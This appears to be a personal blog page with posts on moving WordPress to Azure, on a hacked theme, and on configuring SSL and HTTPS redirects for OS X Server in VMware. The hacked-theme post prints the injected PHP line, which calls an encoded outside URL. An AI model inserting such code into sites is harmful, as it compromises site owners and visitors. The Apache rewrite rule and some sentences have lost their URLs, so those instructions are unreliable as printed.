Setup WordPress on Linux in Azure

Every since Dreamhost started pushing my buttons with less than sub-par service, dead slow loading speeds and pointing fingers at WordPress plugins and themes I was using, I’ve been looking at alternatives for my hosting needs.

Among some of the options are Amazon and Azure Cloud offerings.


Microsoft’s Azure service has 2 huge advantages, in my opinion:

  1. Easier management interface
  2. 30 day credit so you can try service and even know how much would it cost you.

Amazon has free for 1 year program, which allows you to use their Small VM for free for a period of one year. But if you would like to try larger instances you would have to pay out of your own pocket. Which one to select will depend on your plan of migration. For me, Azure was the way to go.

These instructions are for Azure Linux installations, but they could also be used on Amazon AWS though some steps might require additional setup.

So let’s start.

Read More

Moving site to Azure

On multiple occasions I’ve experienced not-satisfactory service from Dreamhost. My last experience, when my Dreampress VM got compromised, many additional .php files were added and Dreamhost has not been helpful remedying situation, put a last nail in that coffin – I’ve decided to move my services.

Since I’ve been working with Azure services for the last 8-9 months, I’ve decided to give that a try. Setting up Linux VM was easy. Setting up WordPress installation was a bit challenging, but not impossible.

I will publish instructions in a near future for those who cares, but mostly for my own documentation.

Next is my photography site

Rogue code and 403 saga

If you have visited my site lately, you would have noticed 403 Forbidden error in the header for the past several days. Well it took me almost two days to figure it out and finally resolve it.

While I’m in the process of moving my hosting away from DreamHost to Azure, it’s that process itself that actually helped me pinpoint the reason behind, stumble upon this article and finally solve it all.

It looks like website was compromised and piece of code was added to theme’s header.php file:

<?php $ch=curl_init();curl_setopt($ch,CURLOPT_URL,base64_decode('aHR0cDovL3FkZ3ZzdC5jb20vbC5waHA='));curl_setopt($ch,CURLOPT_HEADER,0);curl_exec($ch);curl_close($ch);?>

Removing this code completely from theme header.php file solved my problem.

OS X Server in VMWare – part 4

This will be forth article in the series of articles about Mac OS X Server 10.5 setup under VMWare.

I would leave FileMaker Server installation for another time. Right now I want to talk about following services on the server which will replace existing server. Here is the situation, just a reminder:

I have live server which hosts websites and FileMaker databases. It also runs AFP services for access to files internally and FTP service for external developers access to those files. Our registration websites are secure websites with proper CA signed certificates. This server, once virtualization project is complete, would become host server, which will not have any services running, well maybe AFP, and will have VMware hosting guest machines. One machine would be new server with registration websites and FileMaker databases with same FTP and AFP services running as well. My challenge is to swap services of current server with new virtual server with least impact, as those registration websites are live 365 days a year and updating every now and then.

So, I’ve setup bare 10.5.7 server, called it promorphius and it would become twin of prometheus, our existing server. Next steps would include:

Setup web server.

First I moved all files from prometheus web server folder to promorphius. I set up site under web service in Server Admin with exact same settings as existing, except for folder location, it’s on separate virtual drive. I then need to make sure that this site is secured and all HTTP requests are going to HTTPS.

As I already have signed certificate on prometheus, I would request Reissue of the certificate from our CA. Follow links provided by your provider to the step where they ask you for CSR (Certificate Signing Request). On that page you would have text field for the CSR. On the new server, I’ve created new certificate with same information as on existing server, but it becomes Self Signed. No worries, Save and select this certificate and click on little gear icon in Server Admin, choose “Generate Certificate Signing Request  (CSR)… ” and window with instruction would appear. Select image of certificate and drag it over text box on the CA’s website. It will be filled with some gibberish, that’s exactly what we need. Follow all neccesary remaining steps. Once you get your certificate select that text copy and select your Self Signed certificate from Server Admin and under little gear icon choose “Add Signed or Renewed Certificate from Certificate Authority…” paste the text in this area now. That’s it, your certificate is signed now!

Next in web server setup, we want to choose our newely signed certificate for our secure server. Under Web service, in Server Admin, choose Sites, select your site (remember, it suppose to use port 443) and under Security check box next to “Enable Secure Sockets Layer (SSL)” and select your signed certificate.

Now, we want to make sure that all requests to our HTTP forward to HTTPS. For that we would duplicate our web site, select port 80 instead of 443 and deselect SSL checkbox in security. We now need to do a little hack to setup these forwarding. Open Terminal, type in su type in root password, type in cd /private/etc/apache2/sites do ls to view your files, you will see some files like type in pico using your own file name. This will open basic text browser. Scroll down to area with:

RewriteEngine On
RewriteRule .* - [F]

Edit this section to include:

RewriteRule ^/(.*)$$1 [R]

And either delete or comment out existing lines.
So final would look like this:

RewriteEngine On
##RewriteRule .* - [F]
RewriteRule ^/(.*)$$1 [R]

$1 would insure that if somebody types in they would be redirected to same subpage but HTTPS.

Now it’s time to check our server. Since we don’t want to change DNS settings for our domain as it will take up to 24hrs to propogate, we would use exisiting settings and swap IP addresses of old-real and new-virtual servers (you mapped both external and internal interfaces of your hardware to VMware, right? Instructions) Test your site, and everything should stay the same.

I’ve had issues with error messages on my php pages:

Warning: session_start() [function.session-start]: Cannot send session cache limiter – headers already sent

The reason for that is session_start() function in php file. Make sure it is at the very first line of the file.